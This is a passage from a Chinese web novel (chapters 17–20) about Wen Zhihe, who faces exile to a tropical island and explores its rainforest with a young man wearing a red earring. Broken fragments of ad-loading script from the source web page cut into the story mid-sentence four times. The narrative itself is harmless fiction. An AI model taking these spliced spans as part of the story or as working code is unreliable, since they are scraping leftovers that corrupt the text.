——在一座无人的荒岛,没有食物,没有屋子,四周是茫茫的海水,黑暗里还有毒虫窸窸窣窣到处爬…… 她的视线停在他锁骨前那些疤痕上。细窄、扭曲、狰狞,从锁骨一路穿了下去,再往下便被衣服遮住了,看不见那疤痕究竟蔓延到了哪里。 那是他的过去。不为人知的过去。 温知和道,“流放多久啊?” 青年道,“去之前,船上的日历是一月十七号。回船以后,日历是三月四号。算下来中间隔了……四十七……”他停顿一下,又说,“四十八天。那是闰年,二月有二十九天。” 闰年。温知和想,今年是二零一七,去年就是一个闰年。不过,离得太近了,区区一年大概还来不及一个被流放的底层罪人变成人人敬畏的“使者”。“所以那应该是——二零一二年的事?”她问。 “二零零八。”他说。 温知和愣了一下。二零零八?他当时才多大? 她望着青年怔愣的时候,他本人好像倒没觉得有什么,和往常一样是那副漫不经心的样子,还低着头审阅她方才写的东西,拿了她的笔,随手给她把刚才说的东西改了,又补了几条。 他的字,开头几个有些生涩,写得也慢。他显然很久没写过中文了。但往后又写了几行,写顺手以后,仿佛某些遥远记忆重现,那些字渐渐规整起来,有了形状。 那是一手相当清隽的字。不管是谁见了,都会忍不住说上一声,真是好字。 他收束最后一笔,合上笔帽,在纸上敲了敲,推过来给她。 这下子是“真·野外求生手册”了。很全面,也很正确。可惜她居然真的用得上。 温知和丧着脸。“谢谢……” 青年道,“不客气。” 温知和朝着纸上一条条“求生守则”看了又看,隔了一阵,忽然觉得有点不对劲。 “等等……”她说。 青年那时已不在她桌前了,而是在不远处的书架前找书,听她开口,隔着这么一段距离就问,“怎么了?” 温知和望了望纸上第一行,上面写着,交易岛地势如何如何。又望了望第三行,上面写着,交易岛物产如何如何。 她后知后觉,从青年一进来起,他们之间的对话好像顺利得过了头。 她说,“……你已经知道我要被流放到那个岛上了?” 那边传来嗯的一声。 温知和道,“你怎么知道的!” 虽然事情已成了定局,但她的确没跟任何人说过。 那边并没立马回答。一时间,空气里只听见隐隐约约的书本被从书架上拿下来的声音、书页被翻开的声音、又被合上的声音…… 然后是一句,“你的事,我一直都知道。” 隔着几排书架,看不清他的人,只看见一个朦胧的影子。半明半暗的。 温知和定了定神。“我记得你最开始明明说过,我的事不归你管。” “嗯。” “调查我,其实也不是你的职责吧?” “嗯。” “那你干嘛知道的这么多?” “因为我喜欢啊。” 他这几个字,说时的语气,不知为什么听上去总好像有点轻。 温知和道,“你喜欢多管闲事?” “我不喜欢多管闲事。” ——那是喜欢什么? ——管了别人的闲事,却不是因为喜欢管闲事。 ——那是喜欢什么? 对话若要沿着正常的逻辑发展下去,温知和就该问这个问题。可她没有。 胸口像被填了一团棉花糖。她忽然觉得耳朵上一阵热,连带着看桌子上的太阳光都有点晒。 下一刻,她把桌子上那份他改过的“生存手册”折起来抓在手里—— 居然就这么溜了。 - 早上六七点,隔着一片倒映着朝阳的闪光的海,视野里,遥远的天际线上已多了一条小小的、高低不平的粗线。越往那边靠近,大熊星座号的航行速度便越慢。等小岛终于显出清晰轮廓的时候,已经快九点了。 船上到处都吵吵嚷嚷的。水手们满头是汗,忙着把装满贡品的箱子从二楼的储藏室搬下来。船民们大多挤在甲板上,有的朝小岛张望,有的对自己前不久交上去的物资恋恋不舍,一个劲儿地用目光在箱子间搜寻,寻找属于自己的那一个——虽然也不可能拿回来。 温知和悲观地注视着这一切。 从前不知船上好,只觉得是在到处飘。可现在对比一下想想,船好歹还能东南西北地到处晃一晃呢,孤岛,可就永远留在原地了。与世隔绝、野蛮粗砺的地方。死了都没人知道。大夏天的,她的尸体一定会很快发臭,然后喂饱了岛上的毒虫,变成它们身体的一部分,真真正正、彻彻底底地永远留在 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 那里…… 烈日当空,温知和打了个寒战。 船靠岸了。 伴着锁链声响,巨大的铁锚渐渐沉进了水,下船的金属梯子也晃晃悠悠地放下去了。甲板上越发拥挤了,人人都要下船。 温知和跟在船民里下了船,脚踩在陆地上的第一步根本立不稳,几乎踉跄了一下。 一个多月没上过地面了,好不适应。人在晃晃悠悠的船上呆习惯了,到了真正坚实的地面上,反而有点晕晕的。 这的确是一座相当原始的小岛。除了小沙滩上有点人类活动痕迹,远处的雨林葱葱郁郁,散发着粗犷的危险气息。 太阳很晒,温知和不断地抹着脸上的汗。 周围人群喧嚷。水手们把贡品箱子从船上搬下来,不少船民也在帮忙,还有管账的跟在旁边清点东西。 他们挨挨挤挤地朝着不远处的沙滩走去。 在那里,几把大伞一字排开,底下坐着七八个穿着麻布黑衣的人,一个个都不苟言笑。看上去,应该就是“太阳船”派来接收贡品的人。 海岸边泊着那群人专程来运载东西的小船。轮廓线条流畅,银白色的金属舰身在太阳光底下几乎熠熠生辉。不远处,臃肿又破落的大熊星座号跟它比起来,简直像一团废铜烂铁。 温知和正对着人群发呆,头顶上方忽响起一个声音。青年也不知是什么时候走过来的。他说,“你挡住路了。” 好几天没见过这个人了。这会忽然碰见了,温知和很镇定。“沙滩这么大,你不会自己换个方向吗?” “我是说那只螃蟹。” “……啊?” “你脚底下。” 温知和低头看下去。一只还不到巴掌大的小螃蟹挥舞着小钳子,正围着她的鞋子打转,有心翻山越岭克服障碍前行,偏偏又爬不上去。 她默默把脚往旁边收了收,小螃蟹身前没了障碍,乐颠颠地往前跑,不多时被扑上岸的潮水卷进去,不见了。有点可爱。 温知和忽然道,“糟了。” 青年说,“怎么了?” “应该把它抓起来的。” 她忧郁地望着小螃蟹消失的方向。眼见为实。这座岛如同戴尔蒙徳管事所说,就是一座纯纯的荒岛。等到时候一个人被丢在这里,食物必然是第一优先级的资源。小小的螃蟹,说不定是难能可贵、再也寻不到的物质资源。 青年道,“你想不想在这座岛上走走?这里风光还不错。” “……” “怎么?” “我很像有空旅游吗?” “没空旅游,那你忙着干什么?” “我要趁着天亮找地方安营扎寨。” “那不就更该到处走走了?安营扎寨,总要找合适的地方吧。” “……有点道理。” “我也要走走,你也要走走,搭个伴?” “……噢。” “那么,你想去哪里?” 温知和掰着手指数着,“适合找食物的地方、适合安营扎寨的地方、适合……” 这分明是在把他当导游使唤。 但青年抿了抿嘴,忍住笑,朝着一个方向迈开步子走了。抬起手来勾了勾手指,示意温知和跟上。 18. 第十八章 小岛上吵吵闹闹的人群里,青年在前面走,温知和在后面跟。他走得有多闲适,她跟得就有多无精打采。 毕竟一个只是在旅游,另一个是觉得自己快没命了。 他们路过沙滩上那排大伞。才这么一会儿,这地方已聚了不少人,围得里三层、外三层的。 温知和歪着脑袋瞥过去。 伞下阴影中,大大小小的贡品箱子正堆在地上,都大敞着,供人检查里面的内容。戴尔蒙徳管事难得换了张严肃的脸,正低着头向那帮穿着黑色麻衣的人汇报船上最近的状况,后者各司其职,有的坐在桌前记录着他汇报的东西,有的蹲在贡品箱边上,计算着里面物品的价值。还挺忙。 除了办事的地方,一字排开的桌子上好像还堆了别的什么,大的小的,金的银的黄的绿的,在阳光下几乎闪闪发亮。 人太多,挡住了视线,有点看不清。温知和不由踮起了脚。 青年停下脚步。“怎么了?” “那边看上去……好像还有点像集市啊?” “的确是集市。在这里,像这样的‘上贡日’很重要,可以理解为是过节。普通船民一辈子也未必见得到太阳船,只有在‘上贡日’,他们可以和太阳船来的‘税官’打交道,用钱财换取‘税官’从太阳船上带来的好东西。” “噢……” “感兴趣?” “你说他们卖吃的吗?” 青年没答,径直带她走了过去。拥挤的人群,自动给他让了一条道。温知和跟在后面,轻而易举地便走进了长桌前的“集市”,占据了最好的位置。 见了青年,那些备受敬畏的黑衣“税官”们也一下子拘谨起来,低了低头,摆出谦卑姿态向他问好。他的回应很简短,态度平淡。 接着,他偏过头来,换了中文,“有想要的吗?” 他是人群注意力的中心,可他的注意力却在她身上。这么一来,四周的视线明里暗里都朝温知和看过来。 她没空理会,眼睛急急地在集市上四下扫视着。 这些桌子上零零散散地摆着的都是小商品,在海上世界里,大抵算得上稀罕物。有剔透完整的珍稀贝壳、海螺,有成色极佳的珍珠,还有不少显然是从“外面”来的二手数码产品,电子显示屏闹钟、掉色的MP3、翻盖式老手机…… 温知和在里面看见一个相机。 相当古早的一款索尼CCD,旧得像个古董,听说拍出来的照片很有年代感。前几年她刚接触摄影的时候很有兴趣买一个开开眼界,偏偏翻遍全网都找不到。如今竟然在这天涯海角的地方出现了一个。 ——然而这样的巧合已经没什么意义了。相机又不能吃。 她左看右看,这些桌子上堆得这么满,居然一样算得上食物的东西都没有。靠集市囤积食物的计划,还没开始,就要结束了。 青年的视线落在她看了很久的那台相机上。温知和低着头,没看见,只默默地说,“问你一件事。” “什么事?” “你说,一个人饿死要多久啊?” “七天。” “那么久啊……是不是很难捱啊……” “不知道。我没有饿死过。” “……” 因温知和对集市上的东西没兴趣,青年这么说着的时候,已转身径直往人群外面走了。她连忙在后面跟上。 太阳底下,这海岛并不大,四周全是茫茫的海水,像无止境的牢笼。 温知和越走越快,心里越来越没底。“那个,据你所知,死于流放的人多不多啊……” “挺多的。” “啊……那,”她硬着头皮,感觉是在问自己的命运,“他们都是怎么死的?” “不知道。” “诶?” “通常情况下,人们回到有被流放者的岛上的时候,他们要么还活着,要么就已经不见了。” 不见了,是怎么个不见了? ——掉进海里了? ——被虫吃光了? 温知和不敢问,怕问出什么更恐怖的答案。 青年是往西走的。走得越远,周围的人便越来越少了,小岛那种未开发的野蛮气质也就越发浓重。 穿过沙滩,一片葱郁的热带小树林近了。藤蔓繁茂,虫声不绝,原始生态的气息太浓厚,总让人觉得会有进无出。偏巧树林的地面还比沙滩高了一截,像是在说,上面会是一个完全不同的世界。 青年指着树林,不紧不慢地开口。“第一站,适合找食物的地方。这里面能吃下去的东西还算多。” “……” 乍听上去是件好事,但他的措辞真令人不安。 ——能吃下去的东西。 草能吃。青蛙能吃。鸟蛋能吃。理论上来说蛇啊、土啊、青苔啊也不是不能吃……能吃是一回事,吃下去会不会死是另一回事。 青年拉着一条结实的藤蔓,踩着有点松动的石头一脚踏上了那片热带丛林。太阳的光辉自头顶洒落,经由藤蔓树叶的切割,变作一片破碎光影落在他身上。 他从光影中伸出手,“上来。” 温知和踌躇道,“有没有……” 他居然能听懂她在说什么。 “这附近应该比较少。最近是‘上贡日’,交易岛上三天两头来人,虫蛇也很聪明,都躲进更深的地方了。外围还算清净。” “噢。” 温知和小心打量四周环境。身后是一览无余的细白沙滩,更远处是寸草不生的礁石。只有身前是植被丛生的原始之地,枝叶重重遮掩,望进去,只看得清四五米的距离。 她故意没理会青年伸出来的手,自己拽住了旁边的藤蔓,吃力地向上攀爬。不知是不是用力的方式不对,藤蔓窸窣作响,像是随时都会被扯断。脚下又滑。 她扑腾了好几次。结果还在原地。 “……” 青年的手一直稳稳停在她眼前。 温知和讷讷地说了一句,“失礼了”,然后便握了上去。 那是一双很有力量的手。干燥,温暖,好像天然便有一种牵引力。她只觉得身体一轻,脚下再踩稳时,已经到了林地上了。 郁热的风迎面吹来,伴着窸窣躁动的树叶声。眼前的世界,是一片蓬勃生长的绿色,往地底扎根,向天上蔓延,盛大到近乎恐怖的生命力。相比之下,人显得如此渺小脆弱,像是会被吞进去,连骨头也不剩下。 在这样的地方,孤身一人怎么生存? 温知和试探着在铺满落叶的泥地上往前走了一步。这一步,大概有一个 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 手掌那么远。好歹也是点距离。脚步刚一落下,两米开外的粗壮藤蔓上掠起一个红黄相间的肥壮身影,啪的一下落在地上,又呲溜一下跑了。 温知和梗着脖子问,“那是什么?” 青年道,“可以吃。” “我是说那是什么。” “不重要。这个地方只有两种东西,一种是你吃的,一种是吃你的。分清楚就好了。” 温知和丧了。 两个人往林子里走。这碧绿丛生的世界里并没有路,走哪里都像是硬闯,脚下一脚低、一脚高的,时不时还要避开枝叶低头弯腰。 四下里,繁密的林叶半遮了天,像个有生命的巨大牢笼。牢笼底下,泥土松软,铺满了经年累月的破败叶子,近地的草木也高,让人疑心一躺下去就会被那片绿色淹没,再也起不来了。 温知和觉得自己像走进了某种巨兽的肚子里。 这会儿是白天,名为雨林的巨兽仍在酣睡,周围看着是万物丰茂,一片斑斓,可称赏心悦目;然而到了晚上,当那只名为危险的兽醒了,四周深沉不见五指,风过林木,黑暗中万物作响……人就被吞进去了。 她走不惯这样的地方,踉踉跄跄,脚下滑了好几次。 青年忽然停下来时,温知和仍只顾着埋头走路,差点撞在他背上。一抬头,见他正望着她。两个人离得很近,她几乎嗅得到他身上的气息。 青年背着光,神色看不分明。但微卷的黑发在阳光里像是镀了一层破碎的金,显得很柔软。 他左耳下,那枚红色耳钉里光芒流淌。两个人第一次凑得这么近,温知和第一次就近看清了它的形状。 明明那么漂亮,可那原来是一枚残缺的耳钉。本来的形状大概是水滴,但这里破了一点,那里缺了一点,像是在地上摔碎过,剩下的部分几乎是不成形的。 他朝她伸出手来。说来也巧,他手停下的位置恰好是林叶影子的缝隙处,阳光漏下来,像是被他捧在手心里。 “……干嘛?”这两个字说出来,温知和才发觉自己的声音低得不像话。 可他还是听见了。他说,“这里的确不好走。我牵着你吧。” 他语气听上去很随意。温知和一时间没答,只是左看右看。此情此景不到一个小时前在树林边也出现过,但那时只是为了拉她一把,是暂时的。这会儿却不太一样。 她视线无意中掠过他的手,发觉那修长的手指不自觉地微微蜷了蜷,然后又刻意舒展开。 原来他好像……也没有那么淡定。 她心里涌起一股热流,面上却不显,还刻意延长了他等待的时间。 他一直等着。 终于,她若无其事地把手放上去,心里默念着,就当是扶了个栏杆,就当是扶了个栏杆,就当是……“谢谢啊。” 这栏杆挺稳。 但,又太温热。 青年慢慢收紧手指,把她牢牢牵在手心。开口说话时却仍是漫不经心的语气。“走这边。以刚才的步速走上差不多五分钟,应该会有一个淡水池。” “哦……” 温知和被人牵着慢慢往前走。一脚深,一脚浅。周围茂密的热带林叶簌簌作响,遥远处的海浪声依稀可辨。 她踩在成堆的落叶里,像踩在云朵上。 19. 第十九章 如青年所说,这路果然只走了五分钟。 绕过一段巨大的树桩,温知和一抬头,一片闪着光的人间奇景出现在眼前。 深林的怀抱里,那是一弯几乎透明的水泽,如同一面镜子,将周遭的一切尽收其中。世上最昂贵的翡翠、最珍稀的玉髓,都不会有如此剔透纯然的绿意。 因是水,那绿意还是流淌着的,随风微微起伏、波动,仿佛在呼吸。 水里面还有鱼。很小,只有小指头那么长。大多时候是一动不动地呆在原地,宛如凝固在了水里,若是要动,便是一种极灵敏的动,尾巴一甩,一下子就飘远了,然后继续凝固似的停在水里。 这弯潭水,给人一种很古老的感觉,像一块记录着整片热带树林漫长生命历程的碧绿琥珀。里面的鱼,便是在时间之初封入其中的灵魄。 温知和好几次张了张嘴,却说不出什么话来。审美上的巨大震撼掀起一场风暴,吹倒了语言中枢。最后,她只说,“……好神圣。” “嗯。” “难怪以前的人会相信世界上有魔法……” 真的。在这她从未亲眼见过的奇景面前,若有人说这泉水里住着精灵、是跨时空的水道、是能够洗涤一切不详的神奇之源……不是没有说服力的。 温知和凑近了。她的倒影出现在水面上,像人走进了碧绿的时间琥珀。像被深林拥入怀中。 她又抬头去看天。 林叶层层叠叠,如同一只只手,藏住了只属于自己的这块碧绿宝物。 再低头看水时,水面倒影已多了一个人。青年就在她身后。这时恰好一尾鱼忽然从他倒影的位置上游走,水面便起了波澜。 明明两个人都映在水面,她清晰可辨,他却模糊了起来,就好像不是真的。 温知和下意识地回头去看,确认他还在这里。 青年道,“我以前好像给它起过名字。” “这片水潭?” “嗯。” “叫什么?” 青年想了一阵。“忘了。” “……啊?” 他笑了一下,声音却隐约低了一些,“我以为我会一直记得的。”顿了顿,他又说,“不过我的确在这里学会了一件事。” 温知和好奇道,“什么事?” 青年随手在地上捡了一块小石头丢进潭里。潭水不深,随着扑通一声响,石头激起了水底的泥沙,那一块水面很快变得浑浊。剔透的一弯翡翠,染上了污点。 眼见他又拿起一块石头,温知和连忙止住,“哎,干嘛!” 青年把手指竖在嘴边,嘘了一声,石头一块连一块地进了水。污点越来越多,渐渐交融在一起,你中有我,我中有你,整片潭水都成了脏兮兮的模样。 这哪里还像人间奇景,不过是个泥水潭子。 温知和十分惋惜。青年却只说等等。 斑驳的阳光在水面上游荡。 水轻。泥沙重。不多时,两者开始分层。悠悠的潭水里,那些污浊慢慢沉下去了,像逐渐褪色。终于,一湾碧水恢复如初,几乎透明的水泽如同一面镜子,将周遭的一切尽收其中。世上最昂贵的翡翠、最珍稀的玉髓,都不会有如此剔透纯然的绿意。 ——如同最初。 温知和道,“所以……你学会了什么?” 青年不答,反问道,“你呢?看到刚才的景象,你会想到什么?” “呃,”优秀好学生温知和脑子里划过一个相当根正苗红的标准答案,“不忘初心?就是,不管发生什么,都要保持原来的样子,不受外物左右……” 真活像看图写作文。 青年道,“我一开始也是这么想的。” “后来呢?” “后来有一天下了大雨,到处都很动荡,倒了很多树,死了很多动物,这片水也被泥沙覆盖了。但是,热带雨林的生机恢复得很快。才几天,一切又回到了原来繁盛的样子。我回到这片水潭边,感觉就好像什么都没有发生过。” 温知和静静地听着。 青年在潭边蹲下来,往里面又扔了一块小小的石头,注视着潭水里的变化。“于是我就知道了。”他低声说,“一切都会发生。但发生过了,就像是什么也没有发生。” 再怎么轰轰烈烈,再怎么声嘶力竭,事情过了,最后也都了无痕迹。 水里的泥沙是这样。其实人活在世上,也是一样的。 温知和觉得青年话里有话,但毕竟不了解他的来历背景,猜不出来话里的指向。 他究竟经历过什么呢? 她在他身边也跟着蹲了下来,假装是在玩手里的树枝。隔了半晌,若无其事地问,“这里,”她手指在自己锁骨上划过,算是示意位置,“是什么时候的事啊?在这座岛之前,还是在这座岛之后?” “忘了。” “噢……” 也不知是真忘了,还是不想说。 她又瞄上了他身上另一件极具代表性的东西,想以此作话题切入点,探问一二。“耳钉挺漂亮的。” “噢。” “哪儿来的?”她问得很自然。要是在正常的世界里,这后面还能加上一句,哪家买的,我想要同款。 可青年还是那句,“忘了。” “噢……” 温知和一连吃了两个闭门羹,准备闭嘴了。可青年却看过来,说,“喜欢?” “……啊?” “喜欢就给你。” 在她反应过来之前,他居然已经把那枚耳钉取下来了,手一伸,递在她眼前。 赤红而又破碎的一抹。阳光映于其上,流转其中,仿佛泛着亮的血。就连船上的孩子们在画画时也不会忘记这枚耳钉,它是他的代表物。 温知和愣愣地接过,把它看了又看,懵懵地说,“我……我没有耳洞……” “噢。” “要不……还是还你吧……” “嗯。” 他没有伸手来接的意思,反而歪了歪头,把左耳露给她。她踌躇一阵,慢慢凑过去给他戴上。 她自己从来没耳洞,自然也就不太会戴耳钉,动作格外小心谨慎。凑得也很近。为了看清。 她一手稳着他的耳垂,另一只手拿着赤红的耳钉,用针尖去寻耳洞。是因为她的呼吸吗?他有些自然卷的黑发微微在动。太近了。他皮肤上的温度清晰可触。她发觉他耳后有小小的淡淡的痣。也许他自己都不知道。 耳钉找准了耳洞。 温知和生怕自己手抖,是屏着呼吸把它往里按的。好久好久,没人说一句话。她把视线牢牢锁在耳钉上,没去看他的表情。 耳钉到位了。青年漂亮的耳垂不再空荡,拾回了那抹赤红光亮。 温知和慢慢收回手,过了半天,冒出一句傻话。“是左耳没错吧……没反吧?” “我只有这边有耳洞。” “噢。那就好。” 温知和抱住膝盖,假装去看水面上的风景,假装什么也没发生过。 可那水面剔透如镜,周遭的一切,尽映其中。包括他们两个。假若它真是一块记录着整片热带树林里大小事件的时间琥珀,刚才的片刻,便也已经封存其中了。 斑驳的阳光里,她发觉青年也正看着水上的倒影。 水里仍有鱼在游,仍是在他影子的位置。一下子,水面起了波澜,影子也模糊了,就像不是真的。 温知和说,“你再带我去一个地方吧。” “好啊,”他低低地开口,“想去哪里?” “去你以前住的地方。就是,那四十八天,在这座岛上住的地方。” “热带雨林的植被变化很快,这么多年,那个地方现在应该已经不宜居了。不适合你去安营扎寨。” “我也没打算白捡一个根据地。”温知和说这话的时候咳了一声,又抱紧了膝盖,“我就是想看看你住什么地方。” 青年笑道,“不一定找得到。” “找不到……就当走走了。” “嗯。” 他站起身来。既然是要走了,自然也就要像来的时候那样。他朝她伸出手,慢慢地拉她起来,又牵着她走。 一脚深,一脚浅,不知不觉,太阳过了一天里最毒的时候。 明明是险境环生的热带雨林,她眼目所见,却全是风景。 两人一直没找到青年当年 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 住的地方。 据他说,那里有一块石头,旁边还有一棵树。 温知和问,“什么样的石头?” 青年说,“很长,差不多有两米。也很平整。” “树呢?” “很瘦很小,像是营养不良。可能就是因为病怏怏的,养不活什么东西,树上连虫子、林蛙一类的东西也很少。” “听上去,这种树对人来说好像反而比较安全?” “热带雨林没有安全的地方。” “噢……” 两个人一直这么有一搭没一搭地说着。温知和的心思只有一半在说出来的话里,另一半在手上。他一直牵着她,手指间的力道不重,却让人觉得很安稳。他在前面走,她在后面紧紧地跟,不需要想别的,只需要低头看准他踩过、探过的地方,准确地踩上去。 林叶间漏下来的阳光落在他们头顶,却也自顾自地变化着。 太阳西沉了。 这一天过得很快。温知和总觉得,比林子外面的世界过得快。 这片与世隔绝的雨林里有太蓬勃的生命力,万物生长,繁盛又衰落,死亡后新生,一切都变化得很快,仿佛连时间在这里也是跑着走的。 像画里的世界。 ——画。 温知和忽然想到什么。她捏了捏青年牵着她的那只手。 他察觉到了。“怎么?” “我带大熊星座号的小孩子画画,有一次定的主题是船上最厉害的人。好几张画里画了你。” “是吗?他们把我画成了什么妖魔鬼怪?” “头这么大,腿这么细,还喜欢在甲板上抽烟。” “我不抽烟。” “那你手里为什么经常拿着烟?” 青年沉默着没有说话。他仍牵着她往前走。她以为他不想回答。她问到很多问题的时候,他都不会回答。 可过了一阵,他开口了。“那是马来西亚本地产的一种烟,当地人大多不喜欢。” “噢……” “它的烟味很像‘金路’。” 温知和对烟草几乎毫无了解。他这么说了,她也不知道那究竟是什么意思。思来想去,只能又说,“噢……” “噢……”他学了她一声,学得还挺像。又道,“我发现你心里分神在想事情,嘴上却又不得不应付人的时候,就喜欢用这种语气。” “……哦。” “哦,”他又学了一下,“这种的呢,就是不高兴了。” “……” 温知和面上不显,手上却暗暗用力捏了他。青年微微收拢手指,化解了她的力道,牵她更紧。 温知和忽然停了下来。“金路……” “嗯?” “好奇怪……我脑子里浮现出来的是飞机……” “嗯。” “嗯……!”温知和脑子里一时理不出正事的线索,没好气地以其人之道还治其人之身,“你每次有点无语的时候,也就是这种语气。” “是吗?” “是吗……是吗……”温知和狠狠地加重了语气,“体会不出你是什么心情,反正听到这么两个字我会觉得你有点欠打。” “是吗?” “……” “嗯。” “差不多得了……”温知和一顿,忽然一喜,“我想起来了!我见过‘金路’这两个字,是在飞机场!” 青年没说话。 温知和继续道,“淮市郊区机场的那几家烟草特产店,招牌就是‘金路’。它是……淮市的特产烟?” “……嗯。” 这也是一个嗯,但很低,语气与先前那个带着调侃意味的嗯决然不同。当话题触及青年不想提的事情,他不打算否认某些事实,却也不想进一步延伸话题的时候,他便是这样出声的。 温知和在脑子里画着连接线。“金路”是淮市的特产烟。青年手里时常拿着的马来烟,味道与“金路”相似。 她轻轻地,问出那个很早以前就想问的问题。“你是淮市人?” 青年并未立刻回答。过了一阵,他的回应同温知和心里想的一样。 “……嗯。” 20. 第二十章 回到沙滩上的时候,天色将晚,海风也有些凉了。 小岛上已不像白天时那样热闹,只剩下三三两两的人在收摊子。岸边的两艘船,一艘大的,一艘小的,都是灯火通明。“税官”和船民们大多已回了各自的船上。 两个人在沙滩上找了个地方。温知和一坐下去就打了个呵欠,弓着腰,不断揉着酸痛的腿。 一只海鸟顺着海风飞过来,掠过她的肩,停在了青年的脚边。她想起来这一幕有些熟悉。是在孩子的画上见过。 ——戴着红耳钉的青年,在五彩绚烂的水彩画上,出现在阳光明媚的小岛。大熊星座号停在岸边,船民们正与岛上的人做交易,他坐在沙滩上眺望远方,海鸟在他身旁嬉闹。 原来那幅画上画的就是这里。大概是她被抓到船上之前,大熊星座号某次来交易岛上贡时的一幕。别人都在各忙各的,热火朝天,组成了一幅繁忙的海上生活图景。就他一个人在旁边做局外人。 青年在温知和身边坐下。那只海鸟竟亦步亦趋,在他身边啄沙子玩。 温知和有一种自己不小心闯进了画里的错觉。 青年道,“累了?” “没有……谢谢你带我去了不少地方。” “嗯,不客气。” 温知和看向前面的大海。炎热的白昼转瞬即逝,只剩下稀薄的暮光浮在海上,好像随时都会沉下去消失不见。 残缺的橘黄色太阳就在前方遥远处海天交汇的那条线上。这样的话—— 温知和偏了偏头,望向一个早已昏黑下去的方向。“那是北方。” “嗯。” 沿着那个方向一直往前、往前,穿越千万里海洋与大地,在目不可及的远方,是家乡。 温知和说,“你说,淮市离这里有多远?” 青年没回答,反倒伸出手逗弄起了身旁的海鸟。它竟也挺听话,只是偶尔扑腾一下翅膀,在安静的空气里造出些微的动静。 过了半晌,他说,“四千三百公里。” “那么远啊……”她掰着手指算了算,“飞机要十个小时,海轮要五六天,骑自行车不吃不喝不休,要十几天,要是走路,那得有一个多月。” 跨越两地之间的距离,世上有那么多种交通工具。只有心是最快的,刹那间,只要想到,便能到达。 已经九月过半了。温知和想。九月的淮市是……逃不出暑热的金秋。 ——叶子开始变黄,水果店里的柿子逐渐变多,空气却仍热黏黏的,好像还留在夏天的回忆里。学校们这时候已经开学了,每到下午五六点,繁忙的黄昏里会有成群结队或形单影只的回家的学生,红的、蓝的、黄的,每一种校服里裹着的都是青春。 ——还有家里。因为开了学,在大学做教授的爸爸回家的时间就变晚了,改负责洗碗,前边做饭的事大多会落在妈妈手里。厨房里总是盈着饭菜香气,冬哈喜欢闯进去偷吃的,却永远是妈妈技高一筹,一两根骨头就能把乐颠颠的小狗打发走。 一阵海风迎面吹来。温知和颤了颤,眼前的一切消失得一干二净,只剩下泛着冷意的大海,无边无际。 太阳已完全落下去了。天地间所有的光,只来自岸边的船灯。他们不会带她走。他们会把她留在这座岛上。 她抱紧自己,闭上了眼睛。海风继续吹,她就这么一动不动了。 青年的声音在黑暗里响起来。“不找地方安营扎寨了?” “嗯。” “这里容易感冒。” “嗯,”温知和喃喃地说,“反正我要睡了。” 隔了一阵,她又说,“睡一觉醒来,也许就到家了。” 青年低声道,“你以为这是一场梦吗?” “很像啊……真的很像啊……”温知和的声音越来越低,仿佛真要睡着了,“被绑架到船上……海上的国度……应该是只有梦里才会发生的事吧。还有……还有……” 还有她遇见的那些人。总是一脸无所谓的钻石先生——或者说,戴尔蒙徳管事;一身聪明劲儿的孩子马德鲁;神秘莫测的有红耳钉的青年。 这些人都像极了童话故事里的角色,不是吗?一点也不真实。 温知和累了。像读了个很长很长的故事,睡意袭来,不想再翻篇。 她就这么一直闭着眼睛。 夜色渐深了。迎面而来的海风越来越冷,直往脖子里灌,她的身体在不自觉地颤抖。 有人忽然揉了她的头发,力道很轻。“为什么不找我?” “……什么?” “交不上贡品,整天胡思乱想,却不来找我么?” 她睁开眼睛,歪过脑袋去看他。夜色深沉,岸边的船灯离得远,到这里时光线已是朦朦胧胧的,将他的轮廓描摹得模糊。 他那只刚才揉了她头发的手,往她手心里塞了些东西。很小。 温知和低头看。微弱的光线里,三枚小小的金花生躺在掌心。每一粒都大约有四五克。不管在哪里,金子都是硬通货。 这种东西没什么人会日常揣在身上。青年眼下能拿出来,显然是一早就准备好的。 温知和轻轻收拢手指,把金花生捏紧了。 难以名状的情绪在心里堆积起来,有许多话在喉咙里成形,可它们的性质相去甚远,撞来撞去,总是来不及说出上一句,与之相反的下一句已覆盖了上来。让人像被蛛网缠住了似的纠结。过了半晌,最后说出来的只是,“谢谢……” 青年笑了笑,还是那副漫不经心的表情。“这次给他们一个就行了。自己留两个,以后用吧。时间差不多了。” 他站起身来,再次向她伸出手。“回船上吧。” 她说,“我拿什么还你?” “你说什么?” “金子很贵。”温知和顿了顿,“我在这里没什么钱,但可以帮你干点杂活,擦擦桌子,洗洗衣服……算是还债。” “我不需要。如果你非要还的话……”因为她一直没动,他俯身低了低,手朝她更靠近了一些,“就先欠着吧。” “噢……” 她磨磨蹭蹭地终于把手放上去,一下子被他握紧。 - 温知和交了一粒金花生,戴尔蒙徳管事并不关心东西是从哪儿来的,贡品有了,就让她上船了。 她回了自己的船舱休息室。 这地方还是那么简陋。可她是从一座野蛮的原始海岛上“逃”回来的,一下子,竟也有了些回家的感觉。 没来得及为逃过这一劫开始庆幸,舱室的铁门忽然被人敲得砰砰响。 温知和去开了门。 外面人真不少,全是船上的孩子们。 领头的马德鲁满头是汗,见她开了门,很明显地松了口气。他一开口,急急地就是一句马来话,想起她听不懂,这才又连忙转成了英文。“叽和老师,你在的啊!我们听大人说你被流放了,还以为是真的呢。” 别的孩子们在他身后,也是七嘴八舌地在说。温知和听不懂,但明白那些都是关心她的话。心里涌上一股暖流。 但她坚信老师在孩子们面前不能露怯。于是,深吸一口气压住了那点想哭的冲动,眯着眼睛哈哈一笑,道,“都是谣言啦!你们这么晚来看我啊。” 马德鲁把她上下打量着,眼看她全身毫发无损的样子,欠揍小孩也回归了本性,抬起下巴,张口就来。“是啊,”他耸耸肩,“本来以为你被发配到岛上,我们明天不上课就可以放假了。好可惜噢!” 温知和对付熊孩子是从来不会落下风的,笑眯眯地说,“你再说一遍。” 马德鲁莫名其妙地瞟了她一眼,觉得自己不能示弱,于是重复说,“本来以为你被发配到岛上,我们明天不上……” ——咚! 温知和半途往他脑袋上给了一个爆栗子。马德鲁怔愣间,旁边的孩子们竟也 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 